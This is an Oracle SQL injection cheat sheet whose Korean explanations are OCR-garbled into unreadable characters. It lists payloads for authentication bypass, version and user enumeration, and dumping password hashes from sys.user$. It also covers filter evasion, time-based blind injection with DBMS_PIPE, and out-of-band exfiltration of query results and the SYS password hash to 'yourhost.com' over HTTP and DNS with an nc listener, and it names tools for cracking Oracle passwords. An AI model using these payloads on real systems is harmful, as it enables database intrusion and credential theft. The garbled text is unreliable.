Oracle Injection Cheatsheet
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(utl_inaddr.get_host_address((select user from DUAL)))
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SELECT * FROM Table WHERE id = 1;
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SELECT * FROM Users WHERE id = 3-2;

=M
AT Y
- (SQL F4)

SELECT * FROM Users WHERE username =" OR 1=1 --' AND password =
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SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%";

SELECT version FROM v$instance;

H|O|E{H|0| A XA 5Y

SELECT username FROM all_users;

SELECT name, password from sys.user$;
- HetE 271510, Oracle 10g O[5t0l|M 7ksgiLIC.
SELECT name, spare4 from sys.user$;

. M52 231510, Oracle 11g O|5}0l|A 7Hs&HL|CE.
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1) &z ALE ¢l C|o[E{H|0] A
SELECT name FROM v$database;

SELECT instance_name FROM vSinstance
SELECT global_name FROM global_name
SELECT SYS.DATABASE_NAME FROM DUAL

2) AEX} H|O|E{H|o]A
SELECT DISTINCT owner FROM all_tables;

MH SAE 0|
SELECT host_name FROM vSinstance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;

SELECT UTL_INADDR.get_host_address FROM dual;

E|0|=(Tables)2t Z&(Columns)

1) B0} 0|2 7t 27|
SELECT table_name FROM all_tables;

2) dd 0|E 77|
SELECT column_name FROM all_tab_columns;
3) N tHinj gio] HH HH 71K 7|
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SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY
username) WHERE r=9;

- O tinf glo| HEE JiNFJLICE (2 1 HEE] AJRFEiL|CE.)
4) Ct==2| E|o|F 0] sttiof 71X 27|

SELECT RTRIM(XMLAGG(XMLELEMENT (e, table_name || ')')).EXTRACT('//
text()').EXTRACT('//text()") ,',') FROM all_tables;
5) d& 0|20 E|0]= 0| S HAM

SELECT table_name FROM all_tab_tables password ZZ9| E|0|2 0|2 ZMEtL|C}.
WHERE column_name = '‘password';
6) El|l0|= O|S0f|A HE 0|= HM

SELECT column_name FROM Users E|O|E L Z& O|ES HAMEtLICE
all_tab_columns WHERE table_name =
'Users';

EXtY xE=F - A (Fuzzing) - LH=3$H Obfuscation)

1) | ZEJ-(Filtering) 23|

SELECT 0x09120911091 FROM dual; Hex QI1ZES ALSEHLICH
SELECT CHR(32)||CHR(92)[|CHR(93) FROM CHR() &+ At8510{ ASCIl RER HZFL|CH,
dual; - SELECT CHAR(65); # AZ UHatgtL|Ct.
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SELECT 'a||'d'||'mi'||'n' FROM dual;

AlZh x|l
Zxf3tx| 2= URL 0/8

?ProductID=(SELECT ‘@’||UTL_HTTP.REQUEST (‘http://Zx5IX| &= URL’) FROM dual
WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’ ) = ‘DBSNMP)
- 7|2 222 7’82l DBSNMP 7t Exig 42 AlZh X|Qi0] 2hdgtL|Ct.

DBMS_PIPE.RECEIVE_MESSAGE

?ProductD=(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION POINT}),1,1)),0) =
100) THEN DBMS PIPE.RECEIVE MESSAGE(("2X}2'),14) ELSE

DBMS PIPE.RECEIVE MESSAGE(('2X}2"),1) END FROM dual)
- SUBSTR() g2 22 22X/t d Y ff, MHERE SEHO0| 14 = X|AE[0 d 7} ofd AR 1 =7t X[AEL|Ct.
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- & 2w ofixf|2] B DNS M E 7145t lofof giL|Ct.

- SQLI 2| &3 ARE ojZ2|AH 0| M0 LeE5}X| S  ALEEILIC.
?ProductID=(SELECT UTL_HTTP.REQUEST(‘yourhost.com:80/='||({INJECTION POINT})||")
FROM DUAL)

0

INJECTION POINT >nc -nLp 80
SELECT%20username%20FROM GET /SYS HTTP/1.1
%20all_users%20WHERE%20ROWNUM Host: yourhost,com
%3D1 Connection: close

?ProductID=(SELECT UTL_INADDR.get_host_addr(({INJECTION POINT})||'.yourhost.com')
FROM DUAL)

INJECTION POINT DNS & Z1}
SELECT%20PASSWORD%20FROM DCB748A5BC5390F2.yourhost.com
%20DBA_USERS%20WHERE - SYS ALK} H|LHSof| CHt 5HA|

%20USERNAME="SYS’
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CASE SELECT CASE WHEN 1=1 THEN ‘true’ ELSE ‘false’ END FROM dual;
- TRUE & utshstLct.

IjALE A2 (Cracking) =4

= URL

Checkpwd http://www.red-database-security.com/
- DES 7|4t s{A] 32i7{ 2L|Ct. software/checkpwd.html

Metasploit 2= JTR http://www.metasploit.com/modules/
auxiliary/analyze/jtr_oracle_fast
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